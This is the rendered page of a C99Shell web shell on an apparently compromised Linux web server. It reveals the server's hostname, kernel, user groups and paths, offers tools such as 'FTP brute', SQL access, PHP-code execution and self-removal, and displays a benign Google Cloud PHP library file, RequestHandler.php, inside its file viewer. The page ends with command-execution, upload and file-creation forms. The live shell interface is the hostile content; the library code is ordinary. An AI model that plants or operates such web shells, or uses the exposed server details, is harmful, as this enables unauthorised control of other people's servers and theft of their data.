!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/test.qr.picotech.app/public_html/vendor/google/cloud-core/src/   drwxr-xr-x
Free 29.25 GB of 117.98 GB (24.79%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RequestHandler.php (4.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Copyright 2023 Google Inc. All Rights Reserved.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

namespace Google\Cloud\Core;

use 
Google\ApiCore\Serializer;
use 
Google\Cloud\Core\ArrayTrait;
use 
Google\Cloud\Core\Exception\NotFoundException;
use 
Google\Cloud\Core\Exception\ServiceException;
use 
Google\Cloud\Core\TimeTrait;
use 
Google\Cloud\Core\WhitelistTrait;
use 
\Google\Protobuf\Internal\Message;
use 
Google\ApiCore\ApiException;
use 
Google\ApiCore\OperationResponse;

/**
 * @internal
 * Responsible for forwarding the requests to their
 * respective client methdos via the request wrapper.
 */
class RequestHandler
{
    use 
EmulatorTrait;
    use 
ArrayTrait;
    use 
TimeTrait;
    use 
WhitelistTrait;
    use 
RequestProcessorTrait;

    
/**
     * @var Serializer
     */
    
private Serializer $serializer;

    private array 
$clients;

    
/**
     * @param Serializer $serializer
     * @param array $clientClasses
     * @param array $clientConfig
     */
    
public function __construct(
        
Serializer $serializer,
        array 
$clientClasses,
        array 
$clientConfig = []
    ) {
        
//@codeCoverageIgnoreStart
        
$this->serializer $serializer;
        
$clientConfig['serializer'] = $serializer;

        
// Adds some defaults
        // gccl needs to be present for handwritten clients
        
$clientConfig += [
            
'libName' => 'gccl',
            
'emulatorHost' => null
        
];

        if ((bool) 
$clientConfig['emulatorHost']) {
            
$emulatorConfig $this->emulatorGapicConfig($clientConfig['emulatorHost']);
            
$clientConfig array_merge(
                
$clientConfig,
                
$emulatorConfig
            
);
        }
        
//@codeCoverageIgnoreEnd
        
        // Initialize the client classes and store them in memory
        
$this->clients = [];
        foreach (
$clientClasses as $className) {
            
$this->clients[$className] = new $className($clientConfig);
        }
    }

    
/**
     * Helper function that forwards the request to a client obj.
     *
     * @param string $clientClass The request will be forwarded to this client class.
     * @param string $method This method needs to be called on the client obj.
     * @param Message $request The protobuf Request instance to pass as the first argument to the $method.
     * @param array $optionalArgs The optional args.
     * @param bool $whitelisted This decides the behaviour when a NotFoundException is encountered.
     *
     * @return \Generator|OperationResponse|array|null
     *
     * @throws ServiceException
     */
    
public function sendRequest(
        
string $clientClass,
        
string $method,
        
Message $request,
        array 
$optionalArgs,
        
bool $whitelisted false
    
) {
        
$clientObj $this->getClientObject($clientClass);

        if (!
$clientObj) {
            return 
null;
        }

        
$allArgs = [$request];
        
$allArgs[] = $optionalArgs;

        try {
            
$callable = [$clientObj$method];
            
$response call_user_func_array($callable$allArgs);

            return 
$this->handleResponse($response);
        } catch (
ApiException $ex) {
            throw 
$this->convertToGoogleException($ex);
        } catch (
NotFoundException $e) {
            if (
$whitelisted) {
                throw 
$this->modifyWhitelistedError($e);
            }

            throw 
$e;
        }
    }

    
/**
     * Helper function that returns a client object stored in memory
     * using the client class as key.
     * @param $clientClass The client class whose object we need.
     * @return mixed
     */
    
private function getClientObject(string $clientClass)
    {
        return 
$this->clients[$clientClass] ?? null;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--